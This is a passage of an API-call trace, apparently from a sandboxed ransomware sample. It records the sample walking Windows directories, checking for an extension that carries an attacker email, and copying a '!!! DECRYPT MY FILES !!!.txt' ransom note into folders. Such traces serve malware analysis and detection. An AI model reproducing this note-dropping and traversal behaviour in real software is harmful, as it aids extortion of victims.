ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0105.503] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\security.evtx", psz="C:\\Logs\\Setup.evtx", len=0x12 | out: pbstr=0x6ebf660*="C:\\Logs\\Setup.evtx") returned 1 [0105.503] CharLowerBuffW (in: lpsz="C:\\Logs\\Setup.evtx", cchLength=0x12 | out: lpsz="c:\\logs\\setup.evtx") returned 0x12 [0105.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.503] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.503] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.503] GetProcessHeap () returned 0x630000 [0105.503] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699708, Size=0x28) returned 0x699a98 [0105.503] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0105.503] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\setup.evtx", psz="C:\\Logs\\System.evtx", len=0x13 | out: pbstr=0x6ebf660*="C:\\Logs\\System.evtx") returned 1 [0105.503] CharLowerBuffW (in: lpsz="C:\\Logs\\System.evtx", cchLength=0x13 | out: lpsz="c:\\logs\\system.evtx") returned 0x13 [0105.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.504] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.504] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.504] GetProcessHeap () returned 0x630000 [0105.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x2c) returned 0x6ed63b8 [0105.504] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0105.504] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\system.evtx", psz="C:\\Logs\\Windows PowerShell.evtx", len=0x1f | out: pbstr=0x6ebf660*="C:\\Logs\\Windows PowerShell.evtx") returned 1 [0105.504] CharLowerBuffW (in: lpsz="C:\\Logs\\Windows PowerShell.evtx", cchLength=0x1f | out: lpsz="c:\\logs\\windows powershell.evtx") returned 0x1f [0105.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.504] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.504] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.505] GetProcessHeap () returned 0x630000 [0105.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed63b8, Size=0x30) returned 0x6ed63f0 [0105.505] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.505] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0105.505] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x21ffac8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0105.505] SysReAllocStringLen (in: pbstr=0x6ebf928*="c:\\hiberfil.sys", psz="C:\\pagefile.sys", len=0xf | out: pbstr=0x6ebf928*="C:\\pagefile.sys") returned 1 [0105.505] CharLowerBuffW (in: lpsz="C:\\pagefile.sys", cchLength=0xf | out: lpsz="c:\\pagefile.sys") returned 0xf [0105.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.506] SysReAllocStringLen (in: pbstr=0x6ebf8c8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf8c8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.506] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.506] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0105.506] SysReAllocStringLen (in: pbstr=0x6ebf668*=0x0, psz="C:\\PerfLogs\\", len=0xc | out: pbstr=0x6ebf668*="C:\\PerfLogs\\") returned 1 [0105.506] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0105.506] SysReAllocStringLen (in: pbstr=0x6ebf610*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf610*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0105.506] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0105.506] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5400 [0105.507] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.507] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.507] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0105.508] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40e34c41, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40e34c41, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0105.508] SysReAllocStringLen (in: pbstr=0x6ebf668*=0x0, psz="C:\\Program Files\\", len=0x11 | out: pbstr=0x6ebf668*="C:\\Program Files\\") returned 1 [0105.508] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0105.508] SysReAllocStringLen (in: pbstr=0x6ebf610*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf610*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0105.508] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0105.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40e34c41, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40e34c41, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5080 [0105.508] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40e34c41, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40e34c41, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.508] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0105.508] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Program Files\\Common Files\\", len=0x1e | out: pbstr=0x6ebf3a0*="C:\\Program Files\\Common Files\\") returned 1 [0105.508] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0105.509] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0105.509] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0105.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0105.509] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.509] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0105.509] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Program Files\\Common Files\\DESIGNER\\", len=0x27 | out: pbstr=0x6ebf0d8*="C:\\Program Files\\Common Files\\DESIGNER\\") returned 1 [0105.509] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0105.509] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0105.509] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0105.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0105.510] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.510] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0105.510] SysReAllocStringLen (in: pbstr=0x6ebf0d0*=0x0, psz="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB", len=0x33 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 1 [0105.510] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\designer\\msaddndr.olb") returned 0x33 [0105.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.510] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.510] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe074, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0105.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe070, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0105.511] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeddc | out: lpFindFileData=0x6ebeddc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x4aab75fe, dwReserved1=0x1d327e9, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5540 [0105.511] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0105.511] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\designer\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0105.514] GetProcessHeap () returned 0x630000 [0105.514] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed63f0, Size=0x34) returned 0x6d51c0 [0105.515] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.515] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0105.523] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0105.523] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\", len=0x2f | out: pbstr=0x6ebf0d8*="C:\\Program Files\\Common Files\\microsoft shared\\") returned 1 [0105.523] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0105.523] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0105.523] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0105.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e00 [0105.523] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.524] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0105.524] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\", len=0x3a | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\") returned 1 [0105.524] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\", cchLength=0x3a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\") returned 0x3a [0105.524] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0105.524] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0105.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, 